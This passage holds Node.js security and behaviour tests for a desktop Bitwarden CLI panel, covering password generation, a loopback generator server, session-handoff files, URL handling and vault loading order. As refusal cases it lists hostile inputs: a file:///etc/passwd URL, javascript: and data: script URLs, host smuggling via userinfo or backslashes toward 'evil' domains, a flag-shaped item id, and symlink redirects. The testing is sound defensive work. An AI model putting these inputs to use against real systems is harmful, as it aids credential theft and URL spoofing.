const bodyOf = (name) => {
const start = panelSrc.indexOf(`function ${name}(`)
if (start === -1) return ""
let depth = 0
for (let i = panelSrc.indexOf("{", start); i < panelSrc.length; i++) {
if (panelSrc[i] === "{") depth++
else if (panelSrc[i] === "}" && --depth === 0) return panelSrc.slice(start, i + 1)
}
return ""
}
const Model = {}
new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8")
.replace(/^\.pragma library\s*$/m, "") + `
exports.generateCommand = generateCommand
exports.generateServeUrl = generateServeUrl
exports.generateServeRequestCommand = generateServeRequestCommand
exports.parseServeGenerated = parseServeGenerated
exports.generateServeCommand = generateServeCommand
exports.normalizeGeneratorOptions = normalizeGeneratorOptions
exports.generatorDefaults = generatorDefaults
exports.generatorStrength = generatorStrength
exports.generatorPortIsForeign = generatorPortIsForeign
exports.generatorServeExitAction = generatorServeExitAction
`)(Model)
let pass = 0
const failures = []
const check = (l, ok, d) => ok ? pass++ : failures.push(`${l}\n ${d}`)
const args = o => Model.generateCommand(o).join(" ")
// `bw generate` errors if every character set is off; fall back rather than fail.
const none = Model.normalizeGeneratorOptions({ uppercase: false, lowercase: false, numbers: false, special: false })
check("all character sets off falls back to lowercase",
none.lowercase === true, JSON.stringify(none))
// Requiring more special/numeric characters than the length allows is impossible.
const tight = Model.normalizeGeneratorOptions({ length: 5, numbers: true, minNumber: 9, special: true, minSpecial: 9 })
check("length grows to fit the required character minimums",
tight.length >= tight.minNumber + tight.minSpecial, JSON.stringify(tight))
// Minimums for a disabled set would be rejected by bw.
const noNums = Model.normalizeGeneratorOptions({ numbers: false, minNumber: 5, special: false, minSpecial: 5 })
check("minimums are zeroed for disabled character sets",
noNums.minNumber === 0 && noNums.minSpecial === 0, JSON.stringify(noNums))
check("disabled sets emit no minimum flags",
!args({ numbers: false, special: false }).includes("--minNumber")
&& !args({ numbers: false, special: false }).includes("--minSpecial"),
args({ numbers: false, special: false }))
// Clamping to the documented CLI limits.
for (const [k, v, lo, hi] of [["length", 1, 5, 128], ["length", 999, 5, 128],
["words", 1, 3, 20], ["words", 99, 3, 20],
["minNumber", -3, 0, 9], ["minSpecial", 99, 0, 9]]) {
const got = Model.normalizeGeneratorOptions({ [k]: v, numbers: true, special: true })[k]
check(`${k}=${v} clamps into [${lo}, ${hi}]`, got >= lo && got <= hi, `got ${got}`)
}
// Passphrase mode must not leak password-only flags, and vice versa.
const pp = args({ type: "passphrase", words: 5, capitalize: true, includeNumber: true })
check("passphrase passes --passphrase and word options",
pp.includes("--passphrase") && pp.includes("--words 5") && pp.includes("--capitalize") && pp.includes("--includeNumber"), pp)
check("passphrase omits password-only flags",
!pp.includes("--length") && !pp.includes("--minNumber") && !pp.includes("--uppercase"), pp)
const pw = args({ type: "password" })
check("password omits passphrase-only flags",
!pw.includes("--passphrase") && !pw.includes("--words") && !pw.includes("--capitalize"), pw)
check("an empty separator falls back rather than producing a bare flag",
Model.normalizeGeneratorOptions({ separator: "" }).separator === "-",
Model.normalizeGeneratorOptions({ separator: "" }).separator)
// Strength must move in the right direction, or the meter misleads.
const s = o => Model.generatorStrength(o).bits
check("longer passwords score higher", s({ length: 32 }) > s({ length: 8 }), `${s({length:32})} vs ${s({length:8})}`)
check("more character sets score higher",
s({ length: 16, special: true }) > s({ length: 16, special: false }),
`${s({length:16,special:true})} vs ${s({length:16,special:false})}`)
check("more words score higher", s({ type: "passphrase", words: 8 }) > s({ type: "passphrase", words: 3 }),
`${s({type:"passphrase",words:8})} vs ${s({type:"passphrase",words:3})}`)
check("strength fraction stays within 0..1",
[{}, { length: 128, special: true }, { length: 5 }].every(o => {
const f = Model.generatorStrength(o).fraction; return f >= 0 && f <= 1 }), "out of range")
check("defaults are a fresh object each call",
Model.generatorDefaults() !== Model.generatorDefaults(), "same reference returned")
// --- the same options over `bw serve` ---------------------------------------
// `bw generate` spends ~2.9s on CLI bootstrap and service init before it
// generates anything; the serve API answers the same request in ~2ms. These
// URLs were verified against a live locked `bw serve`.
const url = (o) => Model.generateServeUrl(o)
check("the server is addressed on loopback only",
url({}).startsWith("http://127.0.0.1:"), url({}))
check("a password request carries the character sets and length",
url({ length: 20, uppercase: true, lowercase: true, numbers: true, special: true })
.includes("length=20") && url({ length: 20, special: true }).includes("special=true"),
url({ length: 20, uppercase: true, lowercase: true, numbers: true, special: true }))
check("a disabled set is omitted rather than sent false",
!url({ special: false, numbers: false }).includes("special=")
&& !url({ special: false, numbers: false }).includes("number="),
url({ special: false, numbers: false }))
check("minimums ride along only when their set is on",
url({ numbers: true, minNumber: 3 }).includes("minNumber=3")
&& !url({ numbers: false, minNumber: 3 }).includes("minNumber"),
url({ numbers: true, minNumber: 3 }))
check("a passphrase request switches shape entirely",
url({ type: "passphrase", words: 5 }).includes("passphrase=true")
&& url({ type: "passphrase", words: 5 }).includes("words=5")
&& !url({ type: "passphrase", words: 5 }).includes("length="),
url({ type: "passphrase", words: 5 }))
check("a separator that means something in a URL is encoded",
url({ type: "passphrase", separator: "&" }).includes("separator=%26"),
url({ type: "passphrase", separator: "&" }))
check("the serve options are clamped the same way the CLI ones are",
url({ length: 9999 }).includes("length=128") && url({ length: 1 }).includes("length=5"),
url({ length: 9999 }) + " / " + url({ length: 1 }))
// The server is started without a session on purpose: a loopback port has no
// authentication, so it must never hold an unlocked vault.
check("the serve command binds loopback and names no session",
JSON.stringify(Model.generateServeCommand()) ===
JSON.stringify(["bw", "serve", "--hostname", "127.0.0.1", "--port", "8087"]),
JSON.stringify(Model.generateServeCommand()))
const serveReq = Model.generateServeRequestCommand({ length: 20, special: true })
check("the serve request command targets the generated url with timeout and stream cap",
serveReq[2].includes("curl -q -s -S") && serveReq[2].includes("http://127.0.0.1:8087/generate")
&& serveReq[2].includes("--max-time 2") && serveReq[2].includes("head -c 65536"),
serveReq[2])
check("loopback generator requests ignore proxy variables and curl config",
serveReq[2].includes("curl -q ") && serveReq[2].includes("--noproxy '*'"), serveReq[2])
check("a successful response yields the value",
Model.parseServeGenerated('{"success":true,"data":{"object":"string","data":"abc123"}}') === "abc123",
Model.parseServeGenerated('{"success":true,"data":{"object":"string","data":"abc123"}}'))
check("a failed response yields nothing, so the caller falls back",
Model.parseServeGenerated('{"success":false,"message":"locked"}') === "", "expected empty")
check("garbage yields nothing rather than throwing",
Model.parseServeGenerated("<html>not json</html>") === "", "expected empty")
check("an empty body yields nothing", Model.parseServeGenerated("") === "", "expected empty")
// --- the loopback server is not trusted just because it answers --------------
//
// `bw serve` has no authentication and a loopback port is reachable by every
// account on the machine, so an HTTP 200 is not evidence that the process which
// sent it is ours. The only answer that leaves the port free for our own server
// is a refused connection.
check("a refused connection is the one answer that frees the port",
Model.generatorPortIsForeign(0) === false, "status 0 was treated as occupied")
for (const status of [200, 404, 500, 401, 302]) {
check(`an HTTP ${status} means someone else is already bound`,
Model.generatorPortIsForeign(status) === true, `status ${status} was trusted`)
}
check("a status arriving as a string is still not mistaken for silence",
Model.generatorPortIsForeign("200") === true, "string status was trusted")
// --- what our own server exiting means ---------------------------------------
const stopped = Model.generatorServeExitAction({ stopping: true, wasReady: true, busy: false,
onGeneratorScreen: false })
check("a shutdown we asked for is not a bind failure",
stopped.giveUp === false && stopped.dropValue === false && stopped.useCli === false,
JSON.stringify(stopped))
// Our bind failing is what a squatted port looks like from here, so a value the
// ready-poll already accepted cannot be left on screen to be copied.
const stranded = Model.generatorServeExitAction({ stopping: false, wasReady: true, busy: false,
onGeneratorScreen: true })
check("a value delivered before our server died is dropped, not left to be copied",
stranded.dropValue === true && stranded.giveUp === true && stranded.useCli === true,
JSON.stringify(stranded))
const neverBound = Model.generatorServeExitAction({ stopping: false, wasReady: false, busy: true,
onGeneratorScreen: true })
check("a server that never bound gives up the port and falls back to the CLI",
neverBound.giveUp === true && neverBound.dropValue === false && neverBound.useCli === true,
JSON.stringify(neverBound))
const offScreen = Model.generatorServeExitAction({ stopping: false, wasReady: true, busy: false,
onGeneratorScreen: false })
check("nothing is regenerated for a screen the user has already left",
offScreen.useCli === false && offScreen.dropValue === true, JSON.stringify(offScreen))
const idle = Model.generatorServeExitAction({ stopping: false, wasReady: false, busy: false,
onGeneratorScreen: true })
check("an idle failure gives up the port without generating anything",
idle.giveUp === true && idle.useCli === false, JSON.stringify(idle))
// A process already answering an older option set must not have its callback
// relabelled as the newest request. Queue one regeneration and discard the old
// result; the follow-up reads the latest root.genOpts.
const regenerate = bodyOf("regenerate")
const generated = bodyOf("onGenerated")
check("rapid option changes queue behind the active generator operation",
/if\s*\(genBusy\)[\s\S]*genRegeneratePending\s*=\s*true/.test(regenerate), regenerate)
check("a queued regeneration discards the old value before rerunning",
/genRegeneratePending[\s\S]*regenerate\(\)/.test(generated)
&& generated.indexOf("genRegeneratePending") < generated.indexOf("genValue = v"),
generated)
check("a value from the previous option set cannot be copied while regeneration is busy",
/if\s*\(genBusy\s*\|\|\s*!genValue\)\s*return/.test(bodyOf("copyGenerated"))
&& /if\s*\(!generatorFeedsForm\s*\|\|\s*genBusy\s*\|\|\s*!genValue\)\s*return/.test(bodyOf("useGeneratedPassword"))
&& /enabled:\s*!root\.genBusy\s*&&\s*root\.genValue\s*!==\s*""/.test(panelSrc),
bodyOf("copyGenerated") + "\n" + bodyOf("useGeneratedPassword"))
const stopGenerator = bodyOf("stopGeneratorServe")
check("canceling an in-flight generator request cannot leave generation wedged busy",
/genBusy\s*=\s*false/.test(stopGenerator)
&& /genRegeneratePending\s*=\s*false/.test(stopGenerator)
&& /genRequestSignature\s*=\s*""/.test(stopGenerator),
stopGenerator)
check("leaving during CLI fallback cancels the late result instead of restarting off-screen",
/cancelCliGeneration\s*=\s*genBusy\s*&&\s*generateProc\.running/.test(stopGenerator)
&& /generateCliStopping\s*=\s*true[\s\S]*generateProc\.running\s*=\s*false/.test(stopGenerator),
stopGenerator)
const generateProcBlock = panelSrc.slice(panelSrc.indexOf("id: generateProc"),
panelSrc.indexOf("id: generateServeProc"))
check("a canceled CLI result is discarded and a quick reopen restarts only after exit",
/if\s*\(generateCliStopping\)[\s\S]*genRegeneratePending\s*=\s*true[\s\S]*return/.test(regenerate)
&& /generateCliStopping[\s\S]*currentScreen\s*===\s*"generator"[\s\S]*Qt\.callLater\(root\.regenerate\)[\s\S]*return/.test(generateProcBlock),
regenerate + "\n" + generateProcBlock)
const serveRequest = bodyOf("generatorRequest")
const resumeServeRequest = bodyOf("resumePendingGeneratorRequest")
const serveRequestProcBlock = panelSrc.slice(panelSrc.indexOf("id: generateServeRequestProc"),
panelSrc.indexOf("id: generateServePoll"))
check("a quick reopen cannot attach a new callback to the request being canceled",
/generateServeRequestStopping\s*\|\|\s*generateServeRequestProc\.running/.test(serveRequest)
&& /generateServeRequestPendingCallback\s*=\s*done/.test(serveRequest)
&& /generateServeRequestStopping\s*=\s*true[\s\S]*generateServeRequestProc\.running\s*=\s*false/.test(stopGenerator)
&& /resumePendingGeneratorRequest\(\)[\s\S]*return/.test(serveRequestProcBlock),
serveRequest + "\n" + stopGenerator + "\n" + serveRequestProcBlock)
check("a deferred generator request restarts only if the generator is still open",
/root\.opened\s*&&\s*root\.currentScreen\s*===\s*"generator"[\s\S]*generatorRequest\(pendingOptions,\s*pendingCallback\)/.test(
resumeServeRequest),
resumeServeRequest)
console.log(`${pass} passed, ${failures.length} failed`)
if (failures.length) { console.error("\nFAILURES:\n " + failures.join("\n ")); process.exit(1) }
@@ -0,0 +1,152 @@
#!/usr/bin/env node
// Two places where data the panel did not write reaches the system: the
// session-handoff file path, and a vault item's URI on its way to xdg-open.
//
// node tests/handoff-urls.test.js
const fs = require("fs")
const path = require("path")
const { execFileSync } = require("child_process")
const os = require("os")
const Model = {}
new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8")
.replace(/^\.pragma library\s*$/m, "") + `
exports.terminalLoginCommand = terminalLoginCommand
exports.sessionHandoffReadCommand = sessionHandoffReadCommand
exports.normalizeOpenableUrl = normalizeOpenableUrl
`)(Model)
let pass = 0
const failures = []
const check = (l, ok, d) => ok ? pass++ : failures.push(`${l}\n ${d}`)
// --- the session handoff file never falls back to a shared directory --------
// The key is written by a terminal and read by the panel. A world-writable
// fallback would let another user pre-create the directory and collect it.
const login = Model.terminalLoginCommand("login")[2]
const unlock = Model.terminalLoginCommand("unlock")[2]
const read = Model.sessionHandoffReadCommand(true)[2]
for (const [label, script] of [["terminal login", login], ["terminal unlock", unlock], ["handoff read", read]]) {
check(`${label} never falls back to /tmp`, !script.includes("/tmp"), script)
check(`${label} puts the key under XDG_RUNTIME_DIR`, script.includes("XDG_RUNTIME_DIR"), script)
}
check("the write side refuses to run without a runtime dir, rather than defaulting",
/XDG_RUNTIME_DIR:\?/.test(login), login)
check("mkdir and chmod are both checked, so a directory that is not ours aborts",
login.includes('mkdir -p "$d" || exit 1') && login.includes('chmod 700 "$d" || exit 1'), login)
check("the write side refuses a symlinked handoff directory",
login.includes('[ ! -L "$d" ]'), login)
check("umask is set before the directory is created, not after",
login.indexOf("umask 077") < login.indexOf("mkdir"), login)
check("the read side exits quietly instead, since it runs on every refresh",
read.includes('[ -n "$d" ] || exit 0') && !/XDG_RUNTIME_DIR:\?/.test(read), read)
check("the read side never follows a symlinked directory or handoff file",
read.includes('[ ! -L "$d" ]') && read.includes('[ ! -L "$f" ]'), read)
// Actually run the two scripts to prove the behaviour, with `bw` stubbed.
const tmp = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-handoff-"))
const bin = path.join(tmp, "bin")
fs.mkdirSync(bin)
fs.writeFileSync(path.join(bin, "bw"), "#!/usr/bin/env bash\necho STUBSESSIONKEY\n", { mode: 0o755 })
const runInner = (script, env) => {
try {
// stderr is swallowed: the no-runtime-dir case is *meant* to complain there.
return { out: execFileSync("bash", ["-c", script], { env, encoding: "utf8", stdio: ["ignore", "pipe", "ignore"] }).trim(), code: 0 }
} catch (e) {
return { out: String(e.stdout || "").trim(), code: e.status }
}
}
const noRuntime = { PATH: bin + ":" + process.env.PATH, HOME: tmp }
const withRuntime = { ...noRuntime, XDG_RUNTIME_DIR: tmp }
// The inner script is what the terminal runs; pull it out of the quoted wrapper.
const innerLogin = login.match(/omarchy launch terminal -e bash -c '(.*)' \|\| alacritty/)[1].replace(/'\\''/g, "'")
const denied = runInner(innerLogin, noRuntime)
check("with no runtime dir the login script exits non-zero and writes no key",
denied.code !== 0 && !fs.existsSync(path.join(tmp, "qs-bitwarden-cli", "session-handoff")),
`exit ${denied.code}`)
const readNoRuntime = runInner(read, noRuntime)
check("with no runtime dir the read is silent and successful",
readNoRuntime.code === 0 && readNoRuntime.out === "", JSON.stringify(readNoRuntime))
// A pre-existing symlink must not redirect either side to a persistent or
// less-protected directory. XDG_RUNTIME_DIR is private, but refusing the
// redirect also makes a stale/misconfigured runtime fail closed.
const handoffDir = path.join(tmp, "qs-bitwarden-cli")
const redirectedDir = path.join(tmp, "redirected")
fs.mkdirSync(redirectedDir)
fs.symlinkSync(redirectedDir, handoffDir)
const symlinkWrite = runInner(innerLogin.replace(/omarchy-shell[^;]*;/, "true;").replace(/read -p[^;]*;?/, ""), withRuntime)
check("a symlinked handoff directory makes terminal login fail closed",
symlinkWrite.code !== 0 && !fs.existsSync(path.join(redirectedDir, "session-handoff")),
`exit ${symlinkWrite.code}`)
fs.writeFileSync(path.join(redirectedDir, "session-handoff"), "REDIRECTED")
const symlinkRead = runInner(read, withRuntime)
check("the panel does not read through a symlinked handoff directory",
symlinkRead.out === "", JSON.stringify(symlinkRead))
fs.unlinkSync(handoffDir)
// With a runtime dir, the round trip works and the directory is private.
fs.mkdirSync(path.join(tmp, "qs-bitwarden-cli"), { recursive: true, mode: 0o755 })
runInner(innerLogin.replace(/omarchy-shell[^;]*;/, "true;").replace(/read -p[^;]*;?/, ""), withRuntime)
check("the handoff directory ends up private to the user",
(fs.statSync(handoffDir).mode & 0o777) === 0o700,
"0" + (fs.statSync(handoffDir).mode & 0o777).toString(8))
const roundTrip = runInner(read, withRuntime)
check("the panel reads the key back", roundTrip.out === "STUBSESSIONKEY", JSON.stringify(roundTrip))
const secondRead = runInner(read, withRuntime)
check("and the key is consumed, so a second read gets nothing",
secondRead.out === "", JSON.stringify(secondRead))
fs.rmSync(tmp, { recursive: true, force: true })
// --- only web links are handed to xdg-open ----------------------------------
// A vault item's URI is data, and an org-shared item can be written by others.
const opens = (u) => Model.normalizeOpenableUrl(u)
for (const [input, expected] of [
["https://example.com", "https://example.com"],
["http://example.com/login", "http://example.com/login"],
["HTTPS://Example.COM", "HTTPS://Example.COM"],
["example.com", "https://example.com"],
["example.com:8443/login", "https://example.com:8443/login"],
["localhost:3000", "https://localhost:3000"],
["192.168.1.10:8006", "https://192.168.1.10:8006"]
]) {
const r = opens(input)
check(`${input} opens as ${expected}`, r.ok && r.url === expected, JSON.stringify(r))
}
for (const [input, scheme] of [
["file:///etc/passwd", "file"],
["ftp://files.example.com", "ftp"],
["javascript:alert(1)", "javascript"],
["data:text/html,<script>x</script>", "data"],
["mailto:someone@example.com", "mailto"],
["vnc://10.0.0.1", "vnc"],
["custom-app-handler://do-something", "custom-app-handler"]
]) {
const r = opens(input)
check(`${input} is refused`, !r.ok && r.scheme === scheme, JSON.stringify(r))
}
check("an empty URI is refused without naming a scheme",
!opens("").ok && opens("").scheme === "", JSON.stringify(opens("")))
check("whitespace is trimmed rather than https-ified",
opens(" https://example.com ").url === "https://example.com", JSON.stringify(opens(" https://example.com ")))
check("an ambiguous backslash web URL is refused instead of parsed differently by the browser",
!opens("https://evil.example\\@trusted.example").ok
&& opens("https://evil.example\\@trusted.example").reason === "ambiguous",
JSON.stringify(opens("https://evil.example\\@trusted.example")))
console.log(`${pass} passed, ${failures.length} failed`)
if (failures.length) { console.error("\nFAILURES:\n " + failures.join("\n ")); process.exit(1) }
@@ -0,0 +1,241 @@
#!/usr/bin/env node
// Tests for three boundaries that had drifted or were never drawn.
//
// node tests/hardening.test.js
//
// 1. Every bw invocation that takes a server-chosen id ends its options with
// `--`. Quoting an id defends against the shell, not against bw's own
// option parser -- a quoted `--help` is still `--help` by the time bw
// sees it.
// 2. The custom-server field is where the master password is about to be
// sent, so it may not name a plaintext http host off this machine.
// 3. The learned-suggestion store is account data with no expiry of its own,
// so logging out has to remove it.
const fs = require("fs")
const os = require("os")
const path = require("path")
const { execFileSync } = require("child_process")
const Model = {}
new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8")
.replace(/^\.pragma library\s*$/m, "") + `
exports.getPasswordCommand = getPasswordCommand
exports.getTotpCommand = getTotpCommand
exports.validateServerUrl = validateServerUrl
exports.associationsEnvVar = associationsEnvVar
exports.associationsReadCommand = associationsReadCommand
exports.associationsWriteCommand = associationsWriteCommand
exports.associationsClearCommand = associationsClearCommand
`)(Model)
let pass = 0
const failures = []
const check = (l, ok, d) => ok ? pass++ : failures.push(`${l}\n ${d}`)
// -------------------------------------------------------------------------
// 1. `--` before a server-chosen id
// -------------------------------------------------------------------------
const HOSTILE_ID = "--help"
for (const [label, build, verb] of [
["password", Model.getPasswordCommand, "get password"],
["totp", Model.getTotpCommand, "get totp"],
]) {
const script = build("aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee").join(" ")
check(`copy ${label}: ends bw's options with --`,
script.includes(`bw ${verb} --raw -- `),
script)
check(`fetch ${label}: preserves the id as one shell word`,
script.includes("aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee"),
script)
check(`fetch ${label}: bounds the secret before it reaches QML`,
script.includes("head -c"),
script)
// The whole point of `--`: an id shaped like a flag stays an id.
const hostile = build(HOSTILE_ID).join(" ")
check(`fetch ${label}: a flag-shaped id lands after --`,
hostile.includes(`bw ${verb} --raw -- --help`),
hostile)
}
// -------------------------------------------------------------------------
// 2. Custom server URL
// -------------------------------------------------------------------------
const ACCEPTED = [
["", "empty means the official server"],
["https://vault.example.com", "plain https"],
["https://vault.example.com:8443/path", "https with port and path"],
["HTTPS://VAULT.EXAMPLE.COM", "scheme is case-insensitive"],
["http://localhost:8080", "http to localhost"],
["http://127.0.0.1", "http to 127.0.0.1"],
["http://127.1.2.3:9000", "http anywhere in 127/8"],
["http://[::1]:8000", "http to ::1"],
[" https://vault.example.com ", "surrounding whitespace"],
]
for (const [url, why] of ACCEPTED) {
const problem = Model.validateServerUrl(url)
check(`server URL accepts ${why}`, problem === "", `${JSON.stringify(url)} -> ${problem}`)
}
const REFUSED = [
["http://vault.example.com", "plaintext http off this machine"],
["http://192.168.1.10", "http to a LAN address is still on a wire"],
["ftp://vault.example.com", "a scheme bw does not speak"],
["file:///etc/passwd", "a scheme that is not a server at all"],
["vault.example.com", "no scheme at all"],
["https://", "no host"],
// Anchored, so a host that merely starts or ends with a loopback name is not
// mistaken for one.
["http://localhost.evil.com", "a host that only begins with localhost"],
["http://127.0.0.1.evil.com", "a host that only begins with 127.0.0.1"],
["http://evil.com/localhost", "loopback appearing in the path"],
// Userinfo is stripped before the host is judged, so it cannot smuggle a
// loopback name in front of the real destination.
["http://localhost@evil.com", "loopback smuggled into userinfo"],
// WHATWG URL parsers treat a backslash like a slash for http(s). Without an
// explicit refusal, our lightweight host parser sees localhost after the @
// while Bitwarden's Node runtime connects to evil.example before the slash.
["http://evil.example\\@localhost", "a loopback host smuggled after a backslash"],
["https://evil.example\\@vault.example.com", "an ambiguous HTTPS backslash destination"],
]
for (const [url, why] of REFUSED) {
const problem = Model.validateServerUrl(url)
check(`server URL refuses ${why}`, problem !== "", JSON.stringify(url))
}
check("server URL refusal names the host it refused",
Model.validateServerUrl("http://vault.example.com").includes("vault.example.com"),
Model.validateServerUrl("http://vault.example.com"))
check("server URL refusal for userinfo names the real host, not the userinfo",
Model.validateServerUrl("http://localhost@evil.com").includes("evil.com"),
Model.validateServerUrl("http://localhost@evil.com"))
// -------------------------------------------------------------------------
// 3. Logging out removes the learned-suggestion store
// -------------------------------------------------------------------------
const clear = Model.associationsClearCommand().join(" ")
check("clearing associations removes the store file",
/\brm -f --/.test(clear) && clear.includes("associations.json"),
clear)
check("clearing associations resolves the same path the writer uses",
clear.includes("${XDG_STATE_HOME:-$HOME/.local/state}/qs-bitwarden-cli")
&& clear.includes("associations.json"),
clear)
// A missing file is the ordinary case on an account that never learned
// anything, and it must not be reported as a failed logout.
check("clearing associations succeeds when there is nothing to remove",
/exit 0\s*$/.test(clear),
clear)
const assocTmp = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-assoc-"))
const assocDir = path.join(assocTmp, "qs-bitwarden-cli")
const assocFile = path.join(assocDir, "associations.json")
const assocEnv = value => Object.assign({}, process.env, {
XDG_STATE_HOME: assocTmp,
[Model.associationsEnvVar()]: value,
})
const writeAssociations = value => execFileSync(
Model.associationsWriteCommand()[0], Model.associationsWriteCommand().slice(1),
{ env: assocEnv(value), encoding: "utf8" })
try {
fs.mkdirSync(assocDir, { recursive: true })
fs.writeFileSync(assocFile, "old", { mode: 0o644 })
writeAssociations('{"version":1,"keys":{}}')
check("association replacement narrows an existing public file to mode 600",
(fs.statSync(assocFile).mode & 0o777) === 0o600,
"0" + (fs.statSync(assocFile).mode & 0o777).toString(8))
const redirect = path.join(assocTmp, "must-not-change")
fs.writeFileSync(redirect, "sentinel")
fs.unlinkSync(assocFile)
fs.symlinkSync(redirect, assocFile)
writeAssociations('{"version":1,"keys":{"safe":[]}}')
check("association writes replace a symlink instead of following it",
!fs.lstatSync(assocFile).isSymbolicLink()
&& fs.readFileSync(redirect, "utf8") === "sentinel"
&& fs.readFileSync(assocFile, "utf8").includes('"safe"'),
`target=${fs.readFileSync(redirect, "utf8")}`)
check("atomic association writes leave no temporary files behind",
fs.readdirSync(assocDir).join(",") === "associations.json",
fs.readdirSync(assocDir).join(","))
fs.unlinkSync(assocFile)
fs.writeFileSync(redirect, '{"private":"redirected"}')
fs.symlinkSync(redirect, assocFile)
const readThroughLink = execFileSync(
Model.associationsReadCommand()[0], Model.associationsReadCommand().slice(1),
{ env: assocEnv(""), encoding: "utf8" })
check("association reads refuse a symlinked store",
readThroughLink.trim() === "{}", JSON.stringify(readThroughLink))
} finally {
fs.rmSync(assocTmp, { recursive: true, force: true })
}
// The panel is three QML files now -- the SSH settings sections and the
// approval screen have their own. A check that reads only the largest one
// silently narrows as markup moves out of it.
const panelSrc = ["Panel.qml", "SshAgentSettings.qml", "SshApprovalScreen.qml"]
.map(file => fs.readFileSync(path.join(__dirname, "..", file), "utf8"))
.join("\n")
const bodyOf = name => {
const start = panelSrc.indexOf(`function ${name}(`)
if (start === -1) return ""
let depth = 0
for (let i = panelSrc.indexOf("{", start); i < panelSrc.length; i++) {
if (panelSrc[i] === "{") depth++
else if (panelSrc[i] === "}" && --depth === 0) return panelSrc.slice(start, i + 1)
}
return ""
}
const forget = bodyOf("forgetStoredCredentials")
const assocWriter = panelSrc.slice(panelSrc.indexOf("id: associationsWriteProc"),
panelSrc.indexOf("id: associationsClearProc"))
check("logout waits for an active association writer before clearing",
/associationsWriteProc\.running[\s\S]*associationsClearPending\s*=\s*true/.test(forget), forget)
check("the association writer exit services a queued logout clear",
/associationsClearPending[\s\S]*associationsClearProc\.running\s*=\s*true/.test(assocWriter), assocWriter)
check("association updates made during a write are persisted by a follow-up write",
/associationsWriteProc\.running[\s\S]*associationsWritePending\s*=\s*true/.test(bodyOf("saveAssociations"))
&& /associationsWritePending[\s\S]*associationsWriteProc\.running\s*=\s*true/.test(assocWriter),
bodyOf("saveAssociations") + "\n" + assocWriter)
check("logout discards a queued association write before clearing account metadata",
/associationsWritePending\s*=\s*false/.test(forget), forget)
const copyToClipboard = bodyOf("copyToClipboard")
check("the long-lived clipboard owner does not inherit the copied secret variable",
/env -u QSBW_CLIP wl-copy --sensitive/.test(copyToClipboard), copyToClipboard)
check("locking clears any credential already on the clipboard",
/clearClipboard\(\)/.test(bodyOf("lockVault")), bodyOf("lockVault"))
check("a password missing from the in-memory item uses a managed generation-stamped fetch",
/requestPasswordCopy\(item\.id,\s*item\.typeCode\)/.test(bodyOf("copyPassword"))
&& /beginVaultRead\("passwordCopy"\)/.test(bodyOf("requestPasswordCopy"))
&& /Model\.getPasswordCommand\(itemId,\s*typeCode\)/.test(bodyOf("requestPasswordCopy"))
&& /vaultReadIsStale\("passwordCopy"\)/.test(bodyOf("onPasswordCopyFinished")),
bodyOf("copyPassword") + "\n" + bodyOf("requestPasswordCopy") + "\n" + bodyOf("onPasswordCopyFinished"))
check("TOTP copy reuses the managed TOTP reader instead of a detached bw process",
/fetchTotp\(item\.id,\s*true\)/.test(bodyOf("copyTotpCode"))
&& !/execDetached/.test(bodyOf("copyTotpCode")), bodyOf("copyTotpCode"))
// -------------------------------------------------------------------------
if (failures.length) {
console.error(`\n${failures.length} failure(s):\n`)
for (const f of failures) console.error(` ${f}\n`)
process.exit(1)
}
console.log(`hardening.test.js: ${pass} checks passed`)
@@ -0,0 +1,114 @@
#!/usr/bin/env node
// The first post-authentication bw process is the item list. Organization and
// folder metadata must not compete with it; they begin only after items have
// reached the model and had an event-loop turn to paint.
//
// node tests/initial-load.test.js
const fs = require("fs")
const path = require("path")
const panelSrc = fs.readFileSync(path.join(__dirname, "..", "Panel.qml"), "utf8")
let pass = 0
const failures = []
const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`)
const bodyOf = name => {
const start = panelSrc.indexOf(`function ${name}(`)
if (start === -1) return ""
let depth = 0
for (let i = panelSrc.indexOf("{", start); i < panelSrc.length; i++) {
if (panelSrc[i] === "{") depth++
else if (panelSrc[i] === "}" && --depth === 0) return panelSrc.slice(start, i + 1)
}
return ""
}
const initial = bodyOf("beginInitialVaultLoad")
check("initial loading starts the item list", /loadItems\(/.test(initial), initial)
check("initial loading does not start organizations concurrently",
!/loadOrganizations\(/.test(initial), initial)
check("initial loading does not start folders concurrently",
!/loadFolders\(/.test(initial), initial)
for (const source of ["onUnlockSuccess", "onSessionHandoff"]) {
const body = bodyOf(source)
check(`${source} uses the items-first entry point`, /beginInitialVaultLoad\(/.test(body), body)
check(`${source} does not launch organization metadata directly`, !/loadOrganizations\(/.test(body), body)
check(`${source} does not launch folder metadata directly`, !/loadFolders\(/.test(body), body)
}
const listFinished = bodyOf("onListFinished")
check("metadata deferral begins only after the item result is accepted",
/items\s*=\s*Model\.parseSanitizedItems/.test(listFinished)
&& !/items\s*=\s*Model\.parseItems/.test(listFinished)
&& /deferredMetadataTimer\.restart\(\)/.test(listFinished)
&& listFinished.indexOf("items = Model.parseSanitizedItems") < listFinished.indexOf("deferredMetadataTimer.restart()"),
listFinished)
const listExited = bodyOf("onListProcessExited")
check("item output is accepted only after the process exit status is known",
/exitCode\s*===\s*0/.test(listExited) && /onListFinished\(/.test(listExited), listExited)
check("a failed item refresh clears all loading and deferred-work state",
/isLoading\s*=\s*false/.test(listExited)
&& /isSyncing\s*=\s*false/.test(listExited)
&& /metadataLoadPending\s*=\s*false/.test(listExited)
&& /syncReloadPending\s*=\s*false/.test(listExited),
listExited)
check("a failed item refresh does not run the post-load status refresh",
!/statusRefreshAfterItems[\s\S]{0,140}runStatusCheck\(/.test(listExited),
listExited)
const timerStart = panelSrc.indexOf("id: deferredMetadataTimer")
const timer = timerStart === -1 ? "" : panelSrc.slice(timerStart, timerStart + 700)
check("deferred metadata loads both organizations and folders", /loadOrganizations\(/.test(timer) && /loadFolders\(/.test(timer), timer)
check("metadata waits long enough for an item-list frame",
/interval:\s*(?:[2-9][0-9]|[1-9][0-9]{2,})/.test(timer), timer)
check("post-load status refresh is metadata-only",
/runStatusCheck\(false\)/.test(timer)
&& /function runStatusCheck\(authoritative\)/.test(panelSrc)
